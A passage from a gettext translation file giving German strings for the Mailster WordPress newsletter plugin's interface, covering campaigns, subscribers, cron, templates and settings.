msgstr "nur wenn"

#: views/newsletter/delivery.php:211
msgid "only if in %s"
msgstr "nur wenn in %s"

#: views/settings/general.php:45
msgid "only minor updates"
msgstr "nur \"minor\" Updates"

#: classes/campaigns.class.php:806
msgctxt "only on [weekdays]"
msgid "only on %s"
msgstr "nur an %s"

#: views/settings/wordpress-users.php:153
msgid "only with these user roles:"
msgstr "nur mit diesen Rollen:"

#: views/lists/detail.php:119 views/subscribers/detail.php:371
msgid "open rate"
msgstr "Öffnungsrate"

#: classes/campaigns.class.php:3591 classes/ajax.class.php:974
msgid "opened"
msgid_plural "opens"
msgstr[0] "geöffnet"
msgstr[1] "geöffnet"

#: views/subscribers/detail.php:445
msgid "opened Campaign %s"
msgstr "öffnet Kampagne %s"

#: classes/campaigns.class.php:3762 classes/subscribers.class.php:2906
#: classes/ajax.class.php:1016
msgid "opens"
msgstr "geöffnet"

#: classes/helper.class.php:660 classes/templates.class.php:592
#: classes/conditions.class.php:304 classes/conditions.class.php:306
#: classes/conditions.class.php:309 classes/conditions.class.php:315
#: classes/conditions.class.php:321 classes/conditions.class.php:421
#: classes/campaigns.class.php:1338 views/settings/authentication.php:95
#: views/settings/frontend.php:36 views/templates.php:50 views/templates.php:58
#: views/manage.php:51 views/dashboard/mb-subscribers.php:28
#: views/dashboard/mb-mailster.php:51 views/conditions/conditions.php:38
#: views/conditions/conditions.php:45 views/conditions/conditions.php:219
#: views/conditions/conditions.php:246 views/conditions/conditions.php:257
#: views/conditions/conditions.php:268 views/conditions/conditions.php:284
#: views/conditions/conditions.php:287 views/conditions/conditions.php:300
#: views/conditions/conditions.php:327 views/conditions/conditions.php:339
#: views/conditions/conditions.php:356 views/conditions/render.php:17
#: views/setup.php:71 views/newsletter/receivers.php:50
msgid "or"
msgstr "oder"

#: classes/templates.class.php:1494 classes/manage.class.php:1451
msgctxt "Uploader: Drop files here - or - Select Files"
msgid "or"
msgstr "oder"

#: views/single-newsletter.php:128
msgid "or send it with your mail application"
msgstr "oder senden Sie es mit Ihrem E-Mailprogramm"

#: classes/forms.class.php:1483
msgid "or use this shortcode on your site"
msgstr "oder verwende diesen Shortcode auf deiner Seite"

#: classes/campaigns.class.php:3769
msgid "order by"
msgstr "ordnen nach"

#: classes/campaigns.class.php:3775
msgid "order direction"
msgstr "Richtung"

#: views/newsletter/options.php:71
msgid "original"
msgstr "Original"

#: classes/manage.class.php:452 views/newsletter/optionbar.php:84
msgid "overwrite"
msgstr "überschreiben"

#: views/forms/detail.php:408
msgid "Paste in your vCard content. You can use %s to generate your personal vcard"
msgstr "Füge hier den Inhalt deiner vCard hinzu. Du kannst %s verwenden um deine persönliche vCard zu erstellen"

#: views/manage.php:56
msgid "paste your list here"
msgstr "füge hier deine Liste ein"

#: views/settings/delivery.php:67
msgid "pause campaigns if an error occurs"
msgstr "Kampagne pausieren falls Fehler passieren "

#: views/settings/delivery.php:27 views/settings/frontend.php:192
msgid "paused"
msgstr "pausierte"

#: classes/subscribers.table.class.php:300
msgid "pending"
msgstr "ausstehend"

#: views/forms/detail.php:312
msgid "Place labels inside input fields"
msgstr "Die Feldbezeichnungen innerhalb von Eingabefeldern anzeigen"

#: classes/manage.class.php:61
msgid "Preparing Data"
msgstr "Vorbereitung der Daten"

#: classes/forms.class.php:247 classes/campaigns.class.php:1325
#: classes/campaigns.class.php:1368 classes/subscribers.class.php:98
#: classes/lists.class.php:72 classes/manage.class.php:49
msgid "prev"
msgstr "vorheriger"

#: views/setup.php:475
msgid "Create your first campaign"
msgstr "Erstelle deine erste Kampagne"

#: views/newsletter/editbar.php:298
msgctxt "Insert [excerpt] of [latest] [post]"
msgid "Insert %1$s of %2$s %3$s"
msgstr "Füge %1$s vom %2$s %3$s ein"

#: classes/campaigns.class.php:558 views/newsletter/template.php:30
msgid "Total"
msgstr "Gesamt"

#: classes/subscribers.table.class.php:304
msgid "change status"
msgstr "Status ändern"

#: classes/subscribers.class.php:308
msgid "%1$d Subscribers added to list %2$s"
msgstr "%1$d Abonnenten zu Liste %2$s hinzugefügt"

#: classes/campaigns.class.php:1444
msgid "Creating Screenshot"
msgstr "Screenshot wird erstellt"

#: classes/tinymce.class.php:180
msgid "Insert Newsletter Homepage Shortcodes"
msgstr "Newsletter Homepage Shortcode einfügen"

#: views/settings/wordpress-users.php:88
msgid "Registered Users"
msgstr "Registrierte Benutzer"

#: views/newsletter/details.php:144
msgid "Total Clicks"
msgstr "Klicks gesamt"

#: classes/forms.table.class.php:119
msgid "change structure"
msgstr "ändere die Struktur"

#: classes/subscribers.class.php:314
msgid "%1$d Subscribers removed from list %2$s"
msgstr "%1$d Abonnenten von Liste %2$s entfernen"

#: views/setup.php:488
msgid "Creating a series or drip campaign"
msgstr "Erstelle eine Serie oder \"Drip Campaign\""

#: classes/tinymce.class.php:190
msgid "Insert Subscriber Button Shortcode"
msgstr "Subscriber Button Shortcode einfügen"

#: views/newsletter/delivery.php:29
msgid "Regular Campaign"
msgstr "Normale Kampagne"

#: views/newsletter/details.php:136
msgid "Total Errors"
msgstr "Fehler gesamt"

#: includes/capability.php:52
msgid "change template"
msgstr "Template ändern"

#: views/newsletter/delivery.php:310
msgid "%1$s %2$s have been published"
msgstr "%1$s %2$s wurden veröffentlicht"

#: views/settings.php:43
msgid "Cron"
msgstr "Cron"

#: views/newsletter/editbar.php:189
msgid "Insert from URL"
msgstr "von URL einfügen"

#: views/newsletter/editbar.php:188
msgid "Reload"
msgstr "Neu laden"

#: views/newsletter/details.php:118
msgid "Total Recipients"
msgstr "Empfänger gesamt"

#: includes/capability.php:66
msgid "change text version"
msgstr "ändere Textversion"

#: views/newsletter/delivery.php:171
msgctxt "send campaign \"on\" (date) \"at\" (time)"
msgid "%1$s @ %2$s"
msgstr "%1$s @ %2$s"

#: views/settings/cron.php:57
msgid "Cron Lock"
msgstr "Cron Lock"

#: views/addons.php:70
msgid "Install"
msgstr "Installieren"

#: views/newsletter/attachment.php:15 views/newsletter/attachment.php:25
#: views/newsletter/attachment.php:53
msgid "Remove Attachment"
msgstr "Anhang entfernen"

#: views/newsletter/details.php:118
msgid "Total Sent"
msgstr "Gesamt gesendet"

#: views/settings/frontend.php:89
msgid "changing the slug may cause broken links in previous sent campaigns!"
msgstr "Das ändern der URL-Struktur kann fehlerhafte Links in bereits gesendete Kampagnen verursachen!"

#: classes/subscribers.class.php:433 classes/lists.class.php:201
msgid "%1$s already exists. %2$s"
msgstr "%1$s existiert bereits %2$s"

#: classes/queue.class.php:1009
msgid "Cron Lock Enabled!"
msgstr "Cron Lock ist aktiv!"

#: views/setup.php:284 views/setup.php:301 views/setup.php:318
#: views/setup.php:335 views/setup.php:352 views/setup.php:369
#: views/setup.php:386
msgid "Install %s Extension"
msgstr "Erweiterung %s installieren"

#: views/settings/advanced.php:23
msgid "Remove Data"
msgstr "Daten entfernen"

#: views/newsletter/receivers.php:20 views/newsletter/receivers.php:54
#: views/newsletter/receivers.php:118
msgid "Total receivers"
msgstr "Empfänger gesamt"

#: classes/forms.class.php:1503
msgid "check this option to include the style.css of your theme into the form"
msgstr "aktiviere diese Option um die style.css deines Themes mit dem Formular zu verwenden"

#: views/settings/capabilities.php:28
msgid "%1$s can %2$s"
msgstr "%1$s kann %2$s"

#: classes/queue.class.php:1032
msgid "Cron Lock has been released!"
msgstr "Cron Lock wurde entfernt!"

#: views/dashboard/mb-mailster.php:43 views/dashboard/mb-mailster.php:49
msgid "Installed Version %s"
msgstr "Installierte Version %s"

#: classes/helper.class.php:822
msgid "Remove Image"
msgstr "Bild entfernen"

#: views/newsletter/delivery.php:546
msgid "check your spam score"
msgstr "überprüfe den 'Spam Score'"

#: views/lists/detail.php:159
msgid "%1$s in Campaign %2$s clicked"
msgstr "%1$s in Kampagne %2$s geklicket"

#: classes/queue.class.php:1019
msgid "Cron Lock requested %s ago from:"
msgstr "Cron Lock vor %s beantragt:"

#: classes/mailster.class.php:1371
msgid "Installing Add on"
msgstr "Erweiterung installieren"

#: views/setup.php:109
msgid "Reply To Address"
msgstr "Antwortadresse"

#: views/dashboard/mb-mailster.php:45
msgid "checked %s ago"
msgstr "vor %s überprüft"

#: classes/ajax.class.php:1638
msgid "%1$s is forwarding this mail to you via %2$s"
msgstr "%1$s hat Ihnen diese Nachricht via %2$s weitergeleitet"

#: views/settings/cron.php:14
msgid "Cron Service"
msgstr "Cron Dienst"

#: classes/helper.class.php:327
msgid "Installing Plugin: %s"
msgstr "Installiert Plugin: %s"

#: views/settings/general.php:11 views/newsletter/details.php:49
msgid "Reply-to Email"
msgstr "Antwortadresse"

#: classes/settings.class.php:393 views/settings/wordpress-users.php:103
#: views/settings/wordpress-users.php:124 views/settings/subscribers.php:119
#: views/forms/detail.php:354
msgid "checked by default"
msgstr "standardmäßig ausgewählt"

#: views/newsletter/delivery.php:343
msgid "%1$s matching %2$s has been published"
msgid_plural "%1$s matching %2$s have been published"
msgstr[0] "%1$s passende %2$s wurde veröffentlicht"
msgstr[1] "%1$s passende %2$s wurden veröffentlicht"

#: views/settings/cron.php:25
msgid "Cron Settings"
msgstr "Cron Einstellungen"

#: views/settings/tags.php:71
msgid "Instead of \"post_\" and \"page_\" you can use custom post types too"
msgstr "Du kannst neben  \"post_\" und  \"page_\" auch custom post types verwenden"

#: views/forms/detail.php:214 views/forms/detail.php:286
msgid "Required Asterisk"
msgstr "Pflichtfeldsternchen"

#: classes/manage.class.php:1468
msgid "Try pasting your data into the textarea on the right if you have troubles with special characters."
msgstr "Versuche deine Daten in das Textfeld rechts zu kopieren falls du Probleme mit bestimmten Zeichen  hast"

#: classes/ajax.class.php:1935
msgid "checking for new messages"
msgstr "Nachricht abfragen"

#: views/subscribers/detail.php:417
msgid "%1$s needs about %2$s to open a campaign"
msgstr "%1$s braucht um die %2$s um eine Kampagne zu öffnen"

#: views/settings/cron.php:20
msgid "Cron is currently running!"
msgstr "Cron ist zur Zeit aktiv!"

#: views/settings/cron.php:92
msgid "Interval"
msgstr "Interval"

#: classes/subscribers.table.class.php:276 views/forms/detail.php:398
#: views/subscribers/detail.php:65
msgid "Resend Confirmation"
msgstr "Bestätigung erneut senden"

#: classes/settings.class.php:385 views/settings/subscribers.php:89
msgid "Type"
msgstr "Type"

#: views/settings/template.php:42
msgid "choose"
msgstr "wähle"

#: classes/campaigns.class.php:1366
msgctxt "[recipientstype] of [campaignname]"
msgid "%1$s of %2$s"
msgstr "%1$s von %2$s"

#: classes/tinymce.class.php:138
msgid "Current Day"
msgstr "Aktueller Tag"

#: views/settings/cron.php:10
msgid "Interval for sending emails"
msgstr "Intervall für E-Mailsendungen"

#: views/settings/bounce.php:63
msgid "Resend soft bounced mails after %s minutes"
msgstr "Soft Bounces erneut nach %s Minuten senden"

#: classes/manage.class.php:76
msgid "Type %s to confirm deletion"
msgstr "schreibe %s um zu bestätigen"

#: classes/manage.class.php:450 views/subscribers/detail.php:146
msgid "Choosing \"pending\" as status will force a confirmation message to the subscribers."
msgstr "Bei \"Ausstehend\" als Status wird eine Bestätigungsnachricht an den Abonnenten gesendet"

#: classes/manage.class.php:755
msgid "%1$s of %2$s contacts imported"
msgstr "%1$s von %2$s Kontakte importiert"

#: views/newsletter/editbar.php:306
msgid "Current Match"
msgstr "Aktueller Treffer"

#: classes/template.class.php:445
msgctxt "common module name"
msgid "Intro"
msgstr "Intro"

#: views/dashboard/mb-mailster.php:27
msgid "Reset License"
msgstr "Lizenz zurücksetzen"

#: classes/campaigns.class.php:684 classes/campaigns.class.php:697
#: classes/campaigns.class.php:3958 classes/campaigns.class.php:4083
#: views/newsletter/delivery.php:81 views/newsletter/delivery.php:571
#: views/newsletter/delivery.php:596
msgid "%1$s of %2$s sent"
msgstr "%1$s von %2$s gesendet"

#: classes/tinymce.class.php:137
msgid "Current Month"
msgstr "Aktuelles Monat"

#: classes/bounce.class.php:165
msgid "It looks like your bounce server setting is incorrect! Last error: %s"
msgstr "Anscheinend stimmen die Einstellungen für deinen Bounce Server nicht! Letzter Fehler: %s"

#: views/settings/manage-settings.php:23
msgid "Reset Settings"
msgstr "Einstellungen zurücksetzen"

#: classes/ajax.class.php:1954
msgid "Unable to get test message! Please check your settings."
msgstr "Konnte die Testnachricht nicht empfangen! Bitte überprüfe deine Einstellungen."

#: classes/campaigns.class.php:1386
msgid "click here"
msgstr "hier klicken"

#: classes/subscribers.class.php:801
msgid "%1$s on %2$s"
msgstr "%1$s am %2$s"

#: classes/tinymce.class.php:136
msgid "Current Year"
msgstr "Aktuelles Jahr"

#: classes/cron.class.php:77
msgid "It looks like your last cronjob hasn't been finished! Increase the %1$s, add %2$s to your wp-config.php or reduce the %3$s in the settings."
msgstr "Dein Cronjob wurde wahrscheinlich nicht richtig beendet! Erhöhe die %1$s, füge %2$s deiner wp-config.php hinzu oder reduziere die %3$s in den Einstellungen."

#: views/settings/capabilities.php:38
msgid "Reset all capabilities"
msgstr "Alle Berechtigungen zurücksetzen"

#: views/lists/detail.php:122 views/subscribers/detail.php:375
msgid "click rate"
msgstr "Klickrate"

#: views/settings/wordpress-users.php:41
msgid "%1$s syncs with %2$s"
msgstr "%1$s synchronisiert mit %2$s"

#: classes/manage.class.php:65
msgid "Currently %1$s of %2$s imported with %3$s errors. %4$s memory usage"
msgstr "%1$s von %2$s importiert mit %3$s Fehlern. %4$s genutzter Arbeitsspeicher"

#: views/settings/authentication.php:76
msgid "It's recommend to change the keys occasionally"
msgstr "Es ist empfohlen die Schlüssel regelmäßig zu ändern"

#: views/settings/manage-settings.php:25
msgid "Reset all settings"
msgstr "Einstellungen zurücksetzen"

#: classes/templates.class.php:165
msgid "Unable to save template"
msgstr "Konnte Template nicht speichern"

#: views/subscribers/detail.php:449
msgid "clicked %1$s in Campaign %2$s"
msgstr "klickt %1$s in Kampagne %2$s"

#: classes/ajax.class.php:1633
msgctxt "user forwarded via website"
msgid "%1$s via %2$s"
msgstr "%1$s via %2$s"

#: views/forms/detail.php:336
msgid "Currently %s is your profile form"
msgstr "Zur Zeit ist %s dein Profilformular"

#: views/newsletter/delivery.php:180
msgid "Keep in mind it is bad practice to send campaigns after subscribers opt-out so use this option for \"Thank you\" messages or surveys."
msgstr "Bitte beachte, dass das Senden von Kampagnen nach dem Abmelden nicht gemacht werden sollte. Verwende diese Option für's Danke sagen oder für Umfragen. "

#: classes/settings.class.php:431
msgid "Reset all settings now"
msgstr "Alle Einstellungen jetzt zurücksetzen"

#: classes/ajax.class.php:330
msgid "Unable to save template!"
msgstr "Konnte Template nicht speichern!"

#: classes/campaigns.class.php:3765
msgid "clicks"
msgstr "klick"

#: classes/lists.class.php:114
msgid "%d Lists have been removed"
msgstr "%d Listen wurden entfernt"

#: classes/campaigns.class.php:1358
msgid "Currently selected"
msgstr "Zur Zeit ausgewählt"

#: views/settings/authentication.php:70
msgid "Keys"
msgstr "Schlüssel"

#: views/settings/privacy.php:48
msgid "Respect users \"Do Not Track\" option"
msgstr "Respektiere die \"Do Not Track\" Einstellung"

#: classes/templates.class.php:136
msgid "Unable to unzip template"
msgstr "Konnte Template nicht entpacken"

#: classes/manage.class.php:347
msgid "comma separated"
msgstr "Komma getrennt"

#: classes/lists.class.php:126
msgid "%d Lists with subscribers have been removed"
msgstr "%d Listen mit deren Abonnenten wurden entfernt"

#: views/forms/detail.php:280
msgid "Custom Field Inputs"
msgstr "Benutzerdefinierte Eingabefelder"

#: views/dashboard/mb-mailster.php:65 views/setup.php:417
msgid "Knowledge Base"
msgstr "Knowledge Base"

#: classes/campaigns.class.php:918 classes/campaigns.class.php:1047
#: views/newsletter/submit.php:85 views/newsletter/submit.php:141
#: views/newsletter/submit.php:174
msgid "Resume"
msgstr "Fortsetzen"

#: views/settings/bounce.php:6
msgid "Undeliverable emails will return to this address"
msgstr "Unzustellbare E-Mails werden an diese Adresse retourniert"

#: classes/campaigns.class.php:695
msgid "completing job"
msgstr "Job abschließen"

#: classes/subscribers.class.php:263
msgid "%d Subscribers have been assigned to a new list"
msgstr "%d Abonnenten wurden einer neuen Liste zugewiesen"

#: views/forms/detail.php:275
msgid "Custom Field Wrapper divs"
msgstr "Benutzerdefinierte Felder"

#: classes/tinymce.class.php:191 classes/forms.class.php:1454
#: classes/widget.class.php:546 views/forms/detail.php:113
#: views/forms/detail.php:146 views/forms/detail.php:231
msgid "Label"
msgstr "Bezeichnung"

#: classes/campaigns.class.php:918 views/newsletter/submit.php:174
msgid "Resume Campaign"
msgstr "Kampagne fortsetzen"

#: classes/privacy.class.php:223 classes/subscribers.class.php:1531
#: classes/form.class.php:277 classes/form.class.php:844
#: views/settings/texts.php:14
msgid "Unsubscribe"
msgstr "Abmelden"

#: classes/settings.class.php:114
msgctxt "confirm slug"
msgid "confirm"
msgstr "bestätigung"

#: classes/campaigns.class.php:1090 classes/subscribers.class.php:235
msgid "%d Subscribers have been removed"
msgstr "%d Abonnenten wurden entfernt"

#: classes/manage.class.php:371 views/settings/wordpress-users.php:23
#: views/settings/subscribers.php:65
msgid "Custom Fields"
msgstr "Benutzerdefinierte Felder"

#: views/forms/detail.php:210
msgid "Label Color"
msgstr "Farbe der Bezeichnung"

#: classes/mailster.class.php:1172
msgid "Return to Add Ons Page"
msgstr "Zurück zu den Erweiterungen"

#: views/settings/texts.php:31
msgid "Unsubscribe Button"
msgstr "Abmeldebutton"

#: views/subscribers/detail.php:165 views/subscribers/detail.php:281
msgid "confirmed at"
msgstr "bestätigt am"

#: classes/subscribers.class.php:254
msgid "%d Subscribers have been set to pending"
msgstr "%d Abonnenten wurden als ausstehend markiert"

#: views/forms/detail.php:264
msgid "Custom Style"
msgstr "Benutzerdefinierter Style"

#: classes/conditions.class.php:129 classes/subscribers.class.php:1524
#: classes/manage.class.php:349
msgid "Language"
msgstr "Sprache"

#: classes/widget.class.php:372
msgid "Round up to the next"
msgstr "Aufrunden auf die nächsten"

#: views/settings/texts.php:15
msgid "Unsubscribe Error"
msgstr "Abmelde Fehler"

#: classes/conditions.class.php:174 classes/conditions.class.php:202
#: views/newsletter/editbar.php:26
msgid "contains"
msgstr "enthält"

#: classes/subscribers.class.php:242
msgid "%d Subscribers have been subscribed"
msgstr "%d Abonnenten wurden angemeldet"

#: classes/tinymce.class.php:119 views/settings/tags.php:25
msgid "Custom Tags"
msgstr "Benutzer Tags"

#: classes/ajax.class.php:2478
msgid "Language as been loaded successfully."
msgstr "Sprache wurde erfolgreich geladen."

#: views/settings/authentication.php:21
msgid "SPF doesn't require any configuration on this settings page. This should give you some help to set it up correctly. If this SPF configuration doesn't work or your mails returned as spam you should ask your provider for help or change your delivery method or try %s"
msgstr "SPF benötigt keine separaten Einstellungen auf dieser Seite. Dies sollte dir lediglich etwas Hilfe geben um sie korrekt zu konfigurieren. Falls diese Konfiguration nicht funktioniert oder deine Mails als Spam zurückkommen kontaktiere bitte deinen Provider oder versuche %s"

#: classes/tinymce.class.php:106 views/settings/texts.php:39
msgid "Unsubscribe Link"
msgstr "Abmelde Link"

#: classes/lists.class.php:273
msgid "contains all segments"
msgstr "enthält alle Segmente"

#: classes/subscribers.class.php:248
msgid "%d Subscribers have been unsubscribed"
msgstr "%d Abonnenten wurden abgemeldet"

#: views/settings/subscribers.php:66
msgid "Custom field tags are individual tags for each subscriber. You can ask for them on subscription and/or make it a required field."
msgstr "Benutzerdefinierte Felder sind individuell für jeden Abonnenten. Du kannst nach ihnen bei der Registrierung fragen und sie als Pflichtfeld deklarieren"

#: classes/tinymce.class.php:83 classes/forms.class.php:1368
#: classes/settings.class.php:245 includes/updates.php:32
#: views/settings/texts.php:27
msgid "Last Name"
msgstr "Nachname"

#: classes/campaigns.class.php:275 views/forms/detail.php:64
#: views/forms/detail.php:476 views/templates.php:49 views/templates.php:57
#: views/lists/detail.php:62 views/subscribers/detail.php:70
#: views/newsletter/editbar.php:333 views/newsletter/submit.php:82
#: views/newsletter/submit.php:116 views/newsletter/optionbar.php:109
msgid "Save"
msgstr "Speichern"

#: views/settings/frontend.php:135
msgid "Unsubscribe Slug"
msgstr "Abmeldung"

#: classes/conditions.class.php:175 classes/conditions.class.php:203
#: views/newsletter/editbar.php:27
msgid "contains not"
msgstr "enthält nicht"

#: classes/templates.class.php:42 views/templates.php:27
msgid "%d Update available"
msgid_plural "%d Updates available"
msgstr[0] "%d Update verfügbar"
msgstr[1] "%d Updates verfügbar"

#: views/setup.php:486
msgid "Customize the notification template"
msgstr "Das Template für Benachrichtigungen anpassen"

#: views/settings/cron.php:76
msgid "Last hit"
msgstr "Letzter Treffer"

#: views/settings.php:13 views/settings.php:102
msgid "Save Changes"
msgstr "Änderungen speichern"

#: classes/tinymce.class.php:185
msgid "Unsubscribe Text"
msgstr "Abmeldetext"

#: classes/manage.class.php:67
msgid "Continues in %s seconds"
msgstr "wird in %s Sekunden fortgesetzt"

#: classes/forms.table.class.php:169
msgid "%d Widget"
msgid_plural "%d Widgets"
msgstr[0] "%d Widget"
msgstr[1] "%d Widgets"

#: views/settings/authentication.php:74
msgid "DKIM often doesn't work out of the box. You may have to contact your email provider to get more information"
msgstr "In manchen Fällen funktioniert DKIM nicht automatisch. Bitte kontaktiere deinen Provider für mehr Information"

#: classes/ajax.class.php:1850 views/settings/privacy.php:30
msgid "Last update"
msgstr "Letztes Update"

#: views/settings/privacy.php:42
msgid "Save IP address and time of new subscribers"
msgstr "Speicher IP Adresse und Zeitpunkt von neuen Abonnenten"

#: classes/lists.table.class.php:162
msgid "Unsubscribe subscribers"
msgstr "Abonnenten abmelden"

#: classes/subscribers.class.php:887
msgid "convert all subscribers with error status back to subscribed"
msgstr "ändere alle Abonnenten mit einem Error Status zurück"

#: classes/dashboard.class.php:84 classes/mailster.class.php:1782
#: views/dashboard.php:14
msgid "Dashboard"
msgstr "Dashboard"

#: views/settings/wordpress-users.php:27 views/settings/subscribers.php:58
#: views/settings/subscribers.php:59
msgid "Lastname"
msgstr "Nachname"

#: views/settings/privacy.php:41
msgid "Save Subscriber IP"
msgstr "IP des Abonnenten speichern"

#: classes/campaigns.class.php:561 classes/campaigns.class.php:3719
msgid "Unsubscribes"
msgstr "Abgemeldet"

#: views/newsletter/editbar.php:63
msgid "convert to link"
msgstr "in Link konvertieren"

#: classes/campaigns.class.php:945
msgid "%d emails have not been sent"
msgstr "%d E-Mails wurden nicht gesendet"

#: views/settings/cron.php:67
msgid "Database based"
msgstr "Datenbank basierend"

#: classes/campaigns.class.php:1344
msgid "Save Template File"
msgstr "Template Datei speichern"

#: classes/campaigns.class.php:1395
msgid "Unsupported file format"
msgstr "Dieses Dateiformat wird nicht unterstützt"

#: views/newsletter/delivery.php:240
msgctxt "every [x] [timeframe] starting [startdate]"
msgid "create a new campaign every %1$s%2$s"
msgstr "erstelle alle %1$s%2$s eine neue Kampagne"

#: classes/forms.class.php:317
msgid "%d forms have been removed"
msgstr "%d Formulare wurden entfernt"

#: classes/tinymce.class.php:134 classes/settings.class.php:391
#: classes/campaigns.class.php:563 views/settings/subscribers.php:80
#: views/lists/detail.php:140 views/subscribers/detail.php:430
#: views/newsletter/details.php:77
msgid "Date"
msgstr "Datum"

#: classes/widget.class.php:163 classes/widget.class.php:249
msgid "Latest Newsletter"
msgstr "Letzte Newsletter"

#: views/newsletter/submit.php:85 views/newsletter/submit.php:141
msgid "Save and resume campaign"
msgstr "Speichern und Kampagne fortsetzen"

#: views/templates/available-template.php:7 views/newsletter/submit.php:51
#: views/newsletter/submit.php:74 views/newsletter/submit.php:109
#: views/newsletter/submit.php:136 views/newsletter/submit.php:181
msgid "Update"
msgstr "Aktualisieren"

#: views/newsletter/delivery.php:196
msgid "create a new campaign every time a new %s has been published"
msgstr "erstelle eine neue Kampagne jedes mal wen ein(e) neue(r) %s veröffentlicht wurde"

#: classes/queue.class.php:1020
msgid "%d second"
msgid_plural "%d seconds"
msgstr[0] "%d Sekunde"
msgstr[1] "%d Sekunden"

#: views/manage.php:204
msgid "Date Format"
msgstr "Datumsformat"

#: views/setup.php:489
msgid "Learn more about segmentation"
msgstr "Mehr über Segmentierung erfahren"

#: views/newsletter/submit.php:87 views/newsletter/submit.php:143
msgid "Save and send campaign"
msgstr "Speichern und Kampagne senden"

#: views/newsletter/receivers.php:96
msgid "create a new list with all"
msgstr "erstelle eine neue Liste mit allen"

#: classes/subscribers.class.php:2905 classes/subscribers.class.php:2906
msgid "%d times"
msgstr "%d mal"

#: classes/campaigns.class.php:1043 classes/mailster.class.php:2256
#: views/addons.php:65
msgid "Deactivate"
msgstr "deaktivieren"

#: views/templates.php:50 views/templates.php:58
msgid "Save as"
msgstr "Speichern als"

#: classes/ajax.class.php:1561
msgid "Create a new one"
msgstr "Einen neunen erstellen"

#: classes/template.class.php:469
msgctxt "common module name"
msgid "%s Floating Image left"
msgstr "%s Bild umfließend links"

#: classes/forms.class.php:1341
msgid "Default Form"
msgstr "Standard Formular"

#: classes/settings.class.php:503
msgid "Limits have been reset"
msgstr "Limits wurden zurückgestzt"

#: views/newsletter/submit.php:115 views/newsletter/submit.php:121
msgid "Save as draft"
msgstr "Als Entwurf speichern"

#: views/setup.php:191
msgid "Update Newsletter Homepage"
msgstr "Newsletter Homepage aktualisieren"

#: classes/tests.class.php:590 views/settings/frontend.php:40
msgid "create it right now"
msgstr "erstelle sie jetzt"

#: classes/template.class.php:470
msgctxt "common module name"
msgid "%s Floating Image right"
msgstr "%s Bild umfließend rechts"

#: views/settings/template.php:3
msgid "Default Template"
msgstr "Standardtemplate"

#: classes/form.class.php:521 views/lists/detail.php:159
#: views/newsletter/editbar.php:68
msgid "Link"
msgstr "Link"

#: classes/settings.class.php:397
msgid "Save to Test"
msgstr "Speichern um zu Testen"

#: classes/settings.class.php:248 classes/upgrade.class.php:1731
#: classes/form.class.php:702
msgid "Update Profile"
msgstr "Profil aktualisieren"

#: views/newsletter/receivers.php:115
msgid "create list"
msgstr "erstelle Liste"

#: classes/template.class.php:471 classes/template.class.php:473
msgctxt "common module name"
msgid "%s Image Features left"
msgstr "%s Bild mit Feature links"

#: views/settings/frontend.php:91
msgctxt "Campaign slug"
msgid "Define a %s to enable custom slugs"
msgstr "Bestimme %s um eine benutzerdefinerte URL-Struktur zu aktivieren"

#: views/newsletter/editbar.php:96
msgid "Link Button"
msgstr "Button verlinken"

#: classes/campaigns.class.php:177
msgid "Search %s"
msgstr "Suche %s"

#: views/dashboard/widget.php:15 views/templates/installed-template.php:48
#: views/templates/installed-template.php:54
#: views/templates/available-template.php:64
#: views/templates/available-template.php:118
msgid "Update to %s"
msgstr "Auf %s aktualisieren"

#: views/newsletter/receivers.php:94
msgid "create new list"
msgstr "erstelle neue Liste"

#: classes/template.class.php:472 classes/template.class.php:474
msgctxt "common module name"
msgid "%s Image Features right"
msgstr "%s Feature rechts"

#: views/settings/capabilities.php:1
msgid "Define capabilities for each user role. To add new roles you can use a third party plugin. Administrator has always all privileges"
msgstr "Bestimme Berechtigungen für jede Benutzerrolle. Um neue Rollen hinzuzufügen kannst du ein Plugin verwenden. Administrator hat immer alle Rechte"

#: views/newsletter/editbar.php:199
msgid "Link image to the this URL"
msgstr "Bild mit dieser URL verlinken"

#: views/settings/frontend.php:46
msgid "Search Engine Visibility"
msgstr "Sichtbarkeit für Suchmaschinen"

#: views/setup.php:476
msgid "Update your forms"
msgstr "Formulare bearbeiten"

#: classes/cron.class.php:219
msgid "cron settings"
msgstr "Cron Einstellungen"

#: classes/template.class.php:455 classes/template.class.php:457
#: classes/template.class.php:459
msgctxt "common module name"
msgid "%s Image Full"
msgstr "%s Vollbild"

#: views/settings/subscribers.php:61
msgid "Define in which order names appear in your language or country. This is used for the %s tag."
msgstr "Bestimme in welcher Reihenfolge Namen in deiner Sprache/deinem Land gezeigt werden. Wird für den %s tag verwendet."

#: views/forms/detail.php:385
msgid "Linktext"
msgstr "Linktext"

#: views/forms/overview.php:15
msgid "Search Forms"
msgstr "Suche Formulare"

#: classes/conditions.class.php:105 classes/lists.class.php:48
#: classes/manage.class.php:974 views/manage.php:313
msgid "Updated"
msgstr "Aktualisiert"

#: views/newsletter/options.php:82
msgid "current"
msgstr "aktuell"

#: classes/template.class.php:463 classes/template.class.php:465
#: classes/template.class.php:467
msgctxt "common module name"
msgid "%s Image on the Left"
msgstr "%s Bild links"

#: views/settings/texts.php:4
msgid "Define messages for the subscription form"
msgstr "Bestimme die Nachrichten für das Anmeldeformular"

#: classes/lists.table.class.php:13 views/dashboard/mb-lists.php:11
msgid "List"
msgstr "Liste"

#: views/lists/overview.php:16
msgid "Search Lists"
msgstr "Suche Listen"

#: views/setup.php:68
msgid "Updates are important and if you have a valid license for Mailster you can automatically update directly from WordPress."
msgstr "Updates sind wichtig und wenn du im Besitz eine gültige Lizenz von Mailster bist kannst du direkt in WordPress updaten."

#: views/forms/detail.php:210 views/forms/detail.php:211
#: views/forms/detail.php:212 views/forms/detail.php:213
#: views/forms/detail.php:214 views/forms/detail.php:220
#: views/forms/detail.php:221 views/forms/detail.php:222
#: views/forms/detail.php:223 views/forms/detail.php:232
#: views/forms/detail.php:235 views/forms/detail.php:238
#: views/forms/detail.php:248 views/forms/detail.php:249
#: views/forms/detail.php:250 views/forms/detail.php:251
msgid "custom style"
msgstr "Benutzerdefinierter Style"

#: classes/template.class.php:464 classes/template.class.php:466
#: classes/template.class.php:468
msgctxt "common module name"
msgid "%s Image on the Right"
msgstr "%s Bild rechts"

#: views/manage.php:291
msgid "Define order and included columns"
msgstr "Bestimme die Reihenfolge und die zu verwendeten Spalten"

#: classes/lists.class.php:224
msgid "List %s has been removed"
msgstr "Liste %s wurde entfernt"

#: views/subscribers/overview.php:25
msgid "Search Subscribers"
msgstr "Suche Abonnenten"

#: views/setup.php:443
msgid "Updates are important to get new features and security fixes. An outdated version of your plugins can always bring the risk of getting compromised."
